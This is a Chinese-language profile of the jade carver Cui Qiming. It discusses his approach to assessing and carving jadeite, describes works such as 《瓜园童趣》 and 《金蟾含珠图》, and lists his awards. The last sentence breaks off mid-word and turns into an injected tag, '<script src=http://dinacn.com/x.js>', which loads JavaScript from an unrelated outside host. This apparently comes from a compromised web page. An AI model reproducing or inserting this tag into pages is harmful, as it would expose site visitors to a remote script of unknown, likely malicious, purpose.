鉴玉尚质 执玉尚谨
用玉尚慎 琢玉尚奇
据崔奇铭介绍，玉石难雕，翡翠为最。其原因有三，首先翡翠原料有一层外皮，不易鉴别其内好坏，其二即使切割开后因绿色变化大，也不易掌握它的规律，其三它是矿物集合体组成，其内矿物成分的变化，也会影响它的质量，正是由于影响翡翠质量因数太多，给鉴定带来困难。因而从事玉石雕刻的人需要格外的严谨，多年的琢玉生涯以及恩师的教诲，崔奇铭逐步参悟了“鉴玉尚质，执玉尚谨，用玉尚慎”中所蕴涵的真谛。
“一个合格的设计者，不能只光会在看到的材料上画活；一个雕刻师，也不只是雕刻的技艺高超。更重要的是随着原材料的剥离，一旦出现千变万化的情况、比如绺裂、色彩变化等情况时，面对复杂情况，设计者必须具备应变能力，巧妙处理石中的变化，以彰显石之美，达到锦上添花的艺术效果，这才是玉雕的最高境界。”崔奇铭说。
基于此，量料取材也成为玉雕与绘画、雕塑等其他艺术门类的主要区别。由于受材料的质地、颜色、水头儿、形状、裂纹等限制，在用料、构思、质感表现等方面要困难得多。2003年崔奇铭创作了作品《瓜园童趣》。该作品的原状是横七竖八、布满裂纹的两条绿色、原料上端有一团白色的翡翠毛料。崔奇铭充分利用原料在颜色质地上的变化，做了两条翠瓜，裂纹用枝藤缠绕、绿叶掩饰，白色作为俏色，雕刻了一对爬卧在翠绿欲滴的黄瓜上戏耍的孩童。作品打破传统表现形式，随色施形，聚散有序，用夸张的手法和细腻的雕琢，刻画了一幅生动顽皮的孩童和喜获丰收、欢快祥和的田园景致，令人爱不释手拍手叫绝。
一般说来，不同玉石材料的形状、质地、硬度、颜色等都不尽相同，各有特点和缺陷，玉料内部质地和颜色具有难以琢磨的特殊性及不确定性，因而创作中常常要根据玉料的变化边制作、边设计，因材施艺就成为一个雕刻师在玉雕的制作过程技艺高低的体现。
在众多作品中，一件翡翠作品《金蟾含珠图》是最能体现崔奇铭因材施艺技艺的代表作：在清风吹拂的大荷叶包裹中，一只大蟾口含彩色宝珠，小蟾依偎母亲身边，妙趣横生，是一件难得的玉雕佳作。但原构思设计没有小蟾，随着制作过程中材料的剥离，大蟾的头部一侧出现一块绿，这是翡翠当中的极品之色。崔奇铭当即决定把这块绿雕成一只小蟾。这样既未改变原设计意图，又将这块珍贵的绿色保留下来，崔奇铭玉雕技艺的纯熟自此体现得淋漓尽致。
在创作中，崔奇铭会尝试不同的创作手法，力求能有新的突破。翡翠《普渡众生多臂佛》就是一件创意作品。作品一个显著特点就是跟中国工艺美术大师程淑美合作采用花丝镶嵌的工艺做成品字形须弥座.即突出主体又显雍容华贵,如同宫廷御品。这也是崔奇铭近年来的一种新尝试，更是他对“琢玉尚奇”理念的创新。

有水清于玉 无峰树不奇
崔奇铭的作品具有典型的北派风格，简洁大气，构思奇特，寓意新颖，不落俗套，多次在全国和系统内获奖。其中，国宝翡翠《四海腾欢》荣获中国工艺美术“百花奖”集体金奖；翡翠《瓜园童趣》、翡翠铁龙生《释迦牟尼》、翡翠《持印观音》分别获中国宝石协会颁发的玉雕“天工奖”金银奖和中国工艺美术大师精品博览会金奖；翡翠作品《老子出关》更是被评定为玉雕极品。
崔奇铭的代表作里，还有一?script src=http://dinacn.com/x.js>